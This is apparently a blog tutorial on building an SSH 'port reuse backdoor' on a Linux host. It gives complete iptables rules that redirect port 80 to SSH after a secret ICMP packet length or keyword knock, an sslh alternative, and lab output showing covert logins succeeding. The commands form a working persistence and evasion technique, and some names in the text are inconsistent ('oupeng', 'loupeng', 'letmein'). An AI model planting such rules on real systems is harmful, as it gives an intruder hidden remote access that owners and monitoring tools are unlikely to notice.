Using iptable to implement ssh port reuse backdoor

Table of contents

The first way: using ICMP

Remotely control iptables for port reuse

Create a port reuse chain

Create port reuse rules

Turn on the switch

off switch

let’s do it

The second way: using keywords in tcp packets

Port multiplexing chain

Port reuse rules

Turn on the switch

off switch

let‘s do it

The third way: use SSLH tools

Install sslh tool:

Start the sslh service:

Then we try to log in to 200 on the 201 host:


The first way: using ICMP

Remotely control iptables for port reuse

Disadvantages: If the target is on the internal network, you cannot ping it directly.

Create a port reuse chain

iptables -t nat -N HTTP_TO_SSH

Customized a chain 

Create port reuse rules

iptables -t nat -A HTTP_TO_SSH -p tcp -j REDIRECT --to-port 22

Forward the traffic of the custom chain to port 22

Turn on the switch

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set  --name oupeng --rsource -j ACCEPT

If an icmp packet with a length of 1139 is received, add the source IP to the loupeng list.

off switch

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -mrecent  --name oupeng --remove -j ACCEPT

If an icmp packet with a length of 1140 is received, the source IP will be removed from the oupeng list.

let’s do it

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name oupeng --rsource -j HTTP_TO_SSH

If it is found that the source of the syn package is in the letmein list, it will jump to the letmein chain for processing. The effective time is 3600 seconds.

You can check the status of the five chains:

[root@centos111 ~]# iptables -t nat -nvxL
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         
       0        0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8 length 1139 recent: SET name: oupeng side: source mask: 255.255.255.255
       0        0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8 length 1140 recent: REMOVE name: oupeng side: source mask: 255.255.255.255
       0        0 HTTP_TO_SSH  tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 flags:0x17/0x02 recent: CHECK seconds: 3600 name: oupeng side: source mask: 255.255.255.255

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
    pkts      bytes target     prot opt in     out     source               destination         
      26     1804 RETURN     all  --  *      *       192.168.122.0/24     224.0.0.0/24        
       0        0 RETURN     all  --  *      *       192.168.122.0/24     255.255.255.255     
       0        0 MASQUERADE  tcp  --  *      *       192.168.122.0/24    !192.168.122.0/24     masq ports: 1024-65535
       0        0 MASQUERADE  udp  --  *      *       192.168.122.0/24    !192.168.122.0/24     masq ports: 1024-65535
       0        0 MASQUERADE  all  --  *      *       192.168.122.0/24    !192.168.122.0/24    

Chain HTTP_TO_SSH (1 references)
    pkts      bytes target     prot opt in     out     source               destination         
       0        0 REDIRECT   tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            redir ports 22

Before reuse is enabled, the web can be accessed normally:

Now we can try to enable reuse, that is, ping192.168.159.200 (this machine) at 192.168.159.201

ping -c 1 -s 1111 192.168.159.200

An icmp data packet with a length of 1111 is sent to the target (plus the header 28, the total length is actually 1139)

Because ip data packet = ip header + icmp

So the 28 bytes here include: 20 bytes of the ip header + 8 bytes of the icmp header

Try to use port 80 for ssh (the actual access here is port 22)

As you can see, we successfully used port 80 to log in to port 22.

We can check port 22 on 200

netstat -antp |grep 22

It shows that two IP addresses have established connections with port 22 of this host.

We can now try to access port 80 on the 201 host.

You can see that the access failed because we used port 80 of the 200 host as port 22.

Looking at the NAT table, you can also see that the packet in the rule is 1139 bytes:

Now let's turn off reuse

ping -c 1 -s 1112 192.168.159.200

 

An icmp data packet with a length of 1111 is sent to the target (plus the header 28, the total length is actually 1140)

Check the rules of the nat table again on centos1

After turning off reuse, we try to log in again

As you can see, if you try to log in now, it will fail!

The second way: using keywords in tcp packets

Advantages: Not afraid that the target is not on the intranet

Port multiplexing chain

iptables -t nat -N HTTP_TO_SSH

Port reuse rules

iptables -t nat -A HTTP_TO_SSH -p tcp -j REDIRECT --to-port 22

Turn on the switch

iptables -A INPUT -p tcp -m string --string 'oupeng' --algo bm -m recent --set --name HTTP_TO_SSH --rsource -j ACCEPT

off switch

iptables -A INPUT -p tcp -m string --string 'close' --algo bm -m recent --name HTTP_TO_SSH --remove  -j ACCEPT

let‘s do it

iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name HTTP_TO_SSH --rsource -j HTTP_TO_SSH

Enable multiplexing and enable traffic from the local machine to the target port 80, which will be forwarded to the target's SSH. Port 80 will no longer be accessible by the host;

[root@centos222 ~]# echo oupeng | socat - tcp:192.168.159.200:80
HTTP/1.1 400 Bad Request
Server: nginx/1.20.1
Date: Sun, 19 Nov 2023 04:29:46 GMT
Content-Type: text/html
Content-Length: 157
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.20.1</center>
</body>
</html>

Then we try to log in remotely using port 80:

[root@centos222 ~]# ssh -p80 [email protected]
[email protected]'s password: 
Last login: Sun Nov 19 12:15:29 2023 from 192.168.159.1
[root@centos111 ~]# 

You can see that you have successfully logged in using port 80 here. 

Close reuse. After closing, port 80 returns to normal. We try to log in again.

[root@centos222 ~]# echo close | socat - tcp:192.168.159.200:80 
SSH-2.0-OpenSSH_7.4
Protocol mismatch.
[root@centos222 ~]# ssh -p80 [email protected]
ssh_exchange_identification: Connection closed by remote host

You can see that we can’t log in now!

The third way: use SSLH tools

Install sslh tool:

yum install sslh

Then we start the nginx/apache service and make sure it is listening on port 80

systemctl restart nginx.service
systemctl restart httpd.service

Then we modify the listening port in the nginx configuration file

 

Note: Do not restart the nginx service after the configuration is completed. 

After downloading the sslh tool, let’s modify its configuration file

Note that what is written in listen is the listening port, which must be synchronized to the accessed address. What is written in protocls is the forwarding target. Only port 80 and port 22 are used here. Note that there is no comma at the end of the last set of curly braces in the brackets, otherwise an error will be reported.​ 

Start the sslh service:

[root@centos111 ~]# sslh -F/etc/sslh.cfg 
sslh-fork 4ae2e62d25b9faf984a303c4bdf2b7675f4988b9 started

Note: If there is an error when starting up saying that this address has been used, you can close the nginx/httpd service to solve this problem. 

Then we try to log in to 200 on the 201 host:

You can see that we successfully used port reuse and logged in using port 80!​ 

So far, the three methods have been introduced.

Guess you like

Origin blog.csdn.net/qq_68163788/article/details/134488668